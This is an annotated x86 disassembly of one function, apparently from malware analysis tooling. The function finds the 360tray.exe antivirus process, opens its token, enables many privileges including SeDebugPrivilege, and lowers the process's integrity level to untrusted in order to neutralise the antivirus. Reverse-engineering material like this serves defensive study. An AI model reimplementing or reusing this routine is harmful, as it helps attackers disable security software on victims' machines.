Function at 0x1000255b
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x10058010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10002459
push 6
pop ecx
push 0x88
xor ebx, ebx
lea eax, [ebp - 0x90]
mov esi, str.360tray.exe
lea edi, [ebp - 0xa8]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10006420
add esp, 0xc
lea eax, [ebp - 0x2f4]
mov edi, ebx
push 0x228
push ebx
push eax
call fcn.10006420
add esp, 0xc
mov dword [ebp - 0x2f8], 0x22c
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x2f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10002616
lea eax, [ebp - 0xa8]
push eax
push 0x1004b830
jmp 0x1000260b
lea eax, [ebp - 0x2f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 0x2f0]
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x2d4]
push eax
call fcn.1000aad0
pop ecx
pop ecx
test eax, eax
jne 0x100025e9
push edi
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
lea eax, [ebp - 0x2fc]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x304]
mov edi, str.SeDebugPrivilege
push eax
push edi
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x300]
push esi
push esi
push 0x10
mov dword [ebp - 0xc0], eax
lea eax, [ebp - 0xc4]
push eax
push esi
push dword [ebp - 0x2fc]
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x100027e9
push ecx
mov ecx, dword [ebp - 0x2fc]
mov edx, edi
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeChangeNotifyPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeTcbPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeImpersonatePrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeLoadDriverPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeRestorePrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeBackupPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeSecurityPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeShutdownPrivilege
call fcn.100024e5
mov ecx, dword [ebp - 0x2fc]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.100024e5
xor eax, eax
mov dword [ebp - 0x308], 0x20
lea edi, [ebp - 0xb4]
stosd dword es:[edi], eax
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xb4]
push eax
mov word [ebp - 0xb4], 0x101
mov byte [ebp - 0xad], 0x10
mov dword [ebp - 0xac], esi
mov dword [ebp - 0x30c], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x30c]
push eax
push 0x19
push dword [ebp - 0x2fc]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x2fc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
call fcn.100027f8
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100036c0
leave
ret